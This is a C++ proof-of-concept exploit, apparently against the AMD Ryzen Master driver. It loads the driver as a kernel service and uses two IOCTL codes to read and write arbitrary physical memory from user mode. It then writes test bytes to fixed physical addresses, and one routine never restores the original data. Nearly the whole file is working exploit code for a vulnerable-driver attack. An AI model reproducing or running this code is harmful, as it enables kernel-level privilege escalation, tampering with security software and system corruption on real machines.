#include <windows.h>
#include <stdio.h>
#include <winioctl.h>
#include <iostream>
#include <filesystem>
#include <memory>

#define DEVICE_NAME L"\\\\.\\AMDRyzenMasterDriverV17"
#define DRIVER_NAME L"AMDRyzenMasterDriverV17"
#define DRIVER_PATH L"\\AMDRyzenMasterDriverV17.sys"

#define PHYS_READ  0x81112F08
#define PHYS_WRITE 0x81112F0C

#pragma pack(push, 1)
typedef struct _AMDReadStructure
{
    LARGE_INTEGER PhysAddr;
    LARGE_INTEGER SizeAndData;
    CHAR Buffer[1];
} AMDReadStructure, *PAMDReadStructure;

typedef struct _AMDWriteStructure  
{
    LARGE_INTEGER PhysAddr;
    LARGE_INTEGER SizeAndData;
    CHAR Buffer[1];
} AMDWriteStructure, *PAMDWriteStructure;
#pragma pack(pop)

class MemoryTester {
private:
    HANDLE hDevice;
    
public:
    MemoryTester() : hDevice(INVALID_HANDLE_VALUE) {}
    
    BOOL Initialize() {
        hDevice = CreateFileW(
            DEVICE_NAME,
            GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            NULL
        );
        return hDevice != INVALID_HANDLE_VALUE;
    }
    
    BOOL ReadPhysicalMemory(ULONG64 PhysicalAddress, void* Buffer, ULONG Size) {
        DWORD bytesReturned = 0;
        
        size_t DataSize = Size;
        size_t TotalSize = sizeof(AMDReadStructure) + DataSize - 1;
        size_t InputSize = std::max(TotalSize, size_t(0xC));
        size_t OutputSize = std::max(TotalSize + DataSize, size_t(0xC + DataSize));
        
        std::unique_ptr<BYTE[]> InputBuffer(new BYTE[InputSize]);
        std::unique_ptr<BYTE[]> OutputBuffer(new BYTE[OutputSize]); 
        ZeroMemory(InputBuffer.get(), InputSize);
        ZeroMemory(OutputBuffer.get(), OutputSize);
        
        PAMDReadStructure Request = reinterpret_cast<PAMDReadStructure>(InputBuffer.get());
        PAMDReadStructure Response = reinterpret_cast<PAMDReadStructure>(OutputBuffer.get());
        
        Request->PhysAddr.QuadPart = PhysicalAddress;
        Request->SizeAndData.LowPart = (ULONG)DataSize;
        Request->SizeAndData.HighPart = 0;
        
        printf("[*] Reading %d bytes from physical address 0x%llX\n", Size, PhysicalAddress);
        
        BOOL Success = DeviceIoControl(
            hDevice,
            PHYS_READ,
            Request,
            (DWORD)InputSize,
            Response,
            (DWORD)OutputSize,
            &bytesReturned,
            NULL
        );

        if (Success && bytesReturned > 0) {
            BYTE* DataPtr = reinterpret_cast<BYTE*>(&Response->SizeAndData.QuadPart) + 4;
            memcpy(Buffer, DataPtr, Size);
            
            printf(" PHYSICAL MEMORY READ SUCCESS!\n");
            printf("    Read %d bytes from 0x%llX\n", Size, PhysicalAddress);
            printf("    Data: ");
            for (ULONG i = 0; i < (Size > 16 ? 16 : Size); i++) {
                printf("%02X ", ((PUCHAR)Buffer)[i]);
            }
            printf("\n");
            return TRUE;
        } else {
            DWORD Error = GetLastError();
            printf("PHYSICAL MEMORY READ FAILED: %d\n", Error);
            return FALSE;
        }
    }
    
    BOOL WritePhysicalMemory(ULONG64 PhysicalAddress, const void* Data, ULONG Size) {
        DWORD bytesReturned = 0;
        
        size_t DataSize = Size;
        size_t TotalSize = sizeof(AMDWriteStructure) + DataSize - 1;
        size_t RequiredSize = DataSize + 12;
        size_t InputSize = std::max(TotalSize, RequiredSize);
        
        std::unique_ptr<BYTE[]> InputBuffer(new BYTE[InputSize]);
        ZeroMemory(InputBuffer.get(), InputSize);
        
        PAMDWriteStructure Request = reinterpret_cast<PAMDWriteStructure>(InputBuffer.get());
        
        Request->PhysAddr.QuadPart = PhysicalAddress;
        Request->SizeAndData.LowPart = (ULONG)DataSize;
        Request->SizeAndData.HighPart = 0;
        
        BYTE* DataPtr = reinterpret_cast<BYTE*>(&Request->SizeAndData.QuadPart) + 4;
        memcpy(DataPtr, Data, DataSize);
        
        printf("[*] Writing %d bytes to physical address 0x%llX\n", Size, PhysicalAddress);
        printf("    Data: ");
        for (ULONG i = 0; i < (Size > 8 ? 8 : Size); i++) {
            printf("%02X ", ((PUCHAR)Data)[i]);
        }
        printf("\n");
        
        BOOL Success = DeviceIoControl(
            hDevice,
            PHYS_WRITE,
            Request,
            (DWORD)InputSize,
            NULL,
            0,
            &bytesReturned,
            NULL
        );

        if (Success) {
            printf(" PHYSICAL MEMORY WRITE SUCCESS!\n");
            printf("    Wrote %d bytes to 0x%llX\n", Size, PhysicalAddress);
            return TRUE;
        } else {
            DWORD Error = GetLastError();
            printf("PHYSICAL MEMORY WRITE FAILED: %d", Error);
            
            switch (Error) {
                case 1: printf(" (ERROR_INVALID_FUNCTION)\n"); break;
                case 5: printf(" (ERROR_ACCESS_DENIED)\n"); break;
                case 6: printf(" (ERROR_INVALID_HANDLE)\n"); break;
                case 50: printf(" (ERROR_NOT_SUPPORTED)\n"); break;
                case 87: printf(" (ERROR_INVALID_PARAMETER)\n"); break;
                case 1784: printf(" (ERROR_INVALID_USER_BUFFER)\n"); break;
                default: printf("\n"); break;
            }
            return FALSE;
        }
    }
    
    void TestReadWriteVerify() {
        printf("\n[!] TESTING READ/WRITE/VERIFY SEQUENCE\n");
        
        ULONG64 testAddress = 0x100000;
        UCHAR originalData[8] = {0};
        UCHAR testData[] = {0xDE, 0xAD, 0xBE, 0xEF, 0xCA, 0xFE, 0xBA, 0xBE};
        UCHAR verifyData[8] = {0};
        
        printf("\n[STEP 1] Reading original data...\n");
        if (!ReadPhysicalMemory(testAddress, originalData, sizeof(originalData))) {
            printf("[-] Failed to read original data\n");
            return;
        }
        
        printf("\n[STEP 2] Writing test data...\n");
        if (!WritePhysicalMemory(testAddress, testData, sizeof(testData))) {
            printf("[-] Failed to write test data\n");
            return;
        }
        
        printf("\n[STEP 3] Verifying written data...\n");
        if (!ReadPhysicalMemory(testAddress, verifyData, sizeof(verifyData))) {
            printf("[-] Failed to verify data\n");
            return;
        }
        
        if (memcmp(testData, verifyData, sizeof(testData)) == 0) {
            printf("DATA VERIFICATION SUCCESS! Write/Read works correctly!\n");
        } else {
            printf("DATA VERIFICATION FAILED! Data corruption or driver issue!\n");
            printf("    Expected: ");
            for (int i = 0; i < 8; i++) printf("%02X ", testData[i]);
            printf("\n    Got:      ");
            for (int i = 0; i < 8; i++) printf("%02X ", verifyData[i]);
            printf("\n");
        }
        
        printf("\n[STEP 4] Restoring original data...\n");
        WritePhysicalMemory(testAddress, originalData, sizeof(originalData));
    }
    
    void TestVariousSizes() {
        printf("\n[!] TESTING VARIOUS DATA SIZES\n");
        
        ULONG64 baseAddress = 0x200000;
        
        ULONG testSizes[] = {1, 2, 4, 8, 16, 32, 64};
        
        for (int i = 0; i < sizeof(testSizes)/sizeof(testSizes[0]); i++) {
            ULONG size = testSizes[i];
            printf("\n[SIZE TEST] Testing %d bytes\n", size);
            
            std::unique_ptr<UCHAR[]> testData(new UCHAR[size]);
            for (ULONG j = 0; j < size; j++) {
                testData[j] = (UCHAR)(0x41 + j);
            }
            
            if (WritePhysicalMemory(baseAddress + (i * 0x1000), testData.get(), size)) {
                printf("[+] Write succeeded for %d bytes\n", size);
                
                std::unique_ptr<UCHAR[]> readData(new UCHAR[size]);
                if (ReadPhysicalMemory(baseAddress + (i * 0x1000), readData.get(), size)) {
                    if (memcmp(testData.get(), readData.get(), size) == 0) {
                        printf("[+] Read verification succeeded for %d bytes\n", size);
                    } else {
                        printf("[-] Read verification failed for %d bytes\n", size);
                    }
                }
            } else {
                printf("[-] Write failed for %d bytes\n", size);
            }
        }
    }
    
    ~MemoryTester() {
        if (hDevice != INVALID_HANDLE_VALUE) {
            CloseHandle(hDevice);
        }
    }
};

bool InstallDriverService() {
    wchar_t szExePath[MAX_PATH] = { 0 };
    if (!GetModuleFileNameW(NULL, szExePath, MAX_PATH)) {
        printf("[-] GetModuleFileName failed: %d\n", GetLastError());
        return false;
    }

    wchar_t szDirPath[MAX_PATH] = { 0 };
    wcscpy_s(szDirPath, MAX_PATH, szExePath);

    wchar_t* pLastBackslash = wcsrchr(szDirPath, L'\\');
    if (pLastBackslash) {
        *pLastBackslash = L'\0';
    }

    wchar_t szDriverPath[MAX_PATH] = { 0 };
    swprintf_s(szDriverPath, MAX_PATH, L"%s%s", szDirPath, DRIVER_PATH);

    printf("[*] Driver path: %ls\n", szDriverPath);

    if (!std::filesystem::exists(szDriverPath)) {
        printf("[-] Driver file not found at: %ls\n", szDriverPath);
        return false;
    }

    printf("[+] Driver file found\n");

    SC_HANDLE schSCManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
    if (schSCManager == NULL) {
        printf("[-] OpenSCManager failed: %d\n", GetLastError());
        return false;
    }

    SC_HANDLE schService = CreateServiceW(
        schSCManager,
        DRIVER_NAME,
        DRIVER_NAME,
        SERVICE_ALL_ACCESS,
        SERVICE_KERNEL_DRIVER,
        SERVICE_DEMAND_START,
        SERVICE_ERROR_NORMAL,
        szDriverPath,
        NULL, NULL, NULL, NULL, NULL
    );

    if (schService == NULL) {
        DWORD err = GetLastError();
        if (err != ERROR_SERVICE_EXISTS) {
            printf("[-] CreateService failed: %d\n", err);
            CloseServiceHandle(schSCManager);
            return false;
        }
        printf("[*] Service already exists\n");
    } else {
        printf("[+] Service created successfully\n");
        CloseServiceHandle(schService);
    }

    schService = OpenServiceW(schSCManager, DRIVER_NAME, SERVICE_START | SERVICE_STOP);
    if (schService == NULL) {
        printf("[-] OpenService failed: %d\n", GetLastError());
        CloseServiceHandle(schSCManager);
        return false;
    }

    if (!StartServiceW(schService, 0, NULL)) {
        DWORD err = GetLastError();
        if (err != ERROR_SERVICE_ALREADY_RUNNING) {
            printf("[-] StartService failed: %d\n", err);
            CloseServiceHandle(schService);
            CloseServiceHandle(schSCManager);
            return false;
        }
        printf("[*] Service already running\n");
    } else {
        printf("[+] Service started successfully\n");
    }

    CloseServiceHandle(schService);
    CloseServiceHandle(schSCManager);
    return true;
}

bool StopAndRemoveDriverService() {
    SC_HANDLE schSCManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT);
    if (schSCManager == NULL) {
        printf("[-] OpenSCManager failed: %d\n", GetLastError());
        return false;
    }

    SC_HANDLE schService = OpenServiceW(schSCManager, DRIVER_NAME, SERVICE_STOP | DELETE);
    if (schService == NULL) {
        DWORD err = GetLastError();
        if (err == ERROR_SERVICE_DOES_NOT_EXIST) {
            printf("[*] Service does not exist\n");
            CloseServiceHandle(schSCManager);
            return true;
        }
        printf("[-] OpenService failed: %d\n", err);
        CloseServiceHandle(schSCManager);
        return false;
    }

    SERVICE_STATUS serviceStatus;
    if (!ControlService(schService, SERVICE_CONTROL_STOP, &serviceStatus)) {
        DWORD err = GetLastError();
        if (err != ERROR_SERVICE_NOT_ACTIVE) {
            printf("[-] ControlService(STOP) failed: %d\n", err);
        }
    } else {
        printf("[+] Service stopped\n");
    }

    if (!DeleteService(schService)) {
        printf("[-] DeleteService failed: %d\n", GetLastError());
        CloseServiceHandle(schService);
        CloseServiceHandle(schSCManager);
        return false;
    }

    printf("[+] Service deleted\n");
    CloseServiceHandle(schService);
    CloseServiceHandle(schSCManager);
    return true;
}

int main(int argc, char* argv[]) {
    printf("===========================================\n");
    printf("  AMD Ryzen Master Driver - Memory POC    \n");
    printf("===========================================\n\n");
    
    if (argc > 1 && std::string(argv[1]) == "remove") {
        printf("[*] Removing driver service...\n");
        StopAndRemoveDriverService();
        return 0;
    }

    printf("[*] Installing and starting driver service...\n");
    if (!InstallDriverService()) {
        printf("[-] Failed to install/start driver service\n");
        printf("[!] Make sure you're running as Administrator and the .sys file exists\n");
        return 1;
    }

    printf("\n[*] Initializing driver connection...\n");
    MemoryTester tester;
    
    if (!tester.Initialize()) {
        printf("[!] Failed to open device: %d\n", GetLastError());
        printf("[!] Make sure the driver is loaded and device is accessible\n");
        return 1;
    }
    
    printf("[+] Driver connection established successfully\n");
    
    printf("\n==================================================\n");
    printf("  STARTING PHYSICAL MEMORY TESTS\n");
    printf("==================================================\n");
    
    tester.TestReadWriteVerify();
    
    tester.TestVariousSizes();
    
    printf("\n==================================================\n");
    printf("  ALL TESTS COMPLETED\n");
    printf("==================================================\n");
    printf("[!] If you see SUCCESS messages above, the driver has physical memory access!\n");
    printf("[!] Use 'poc_demo.exe remove' to uninstall the driver\n\n");
    
    system("pause");
    return 0;
}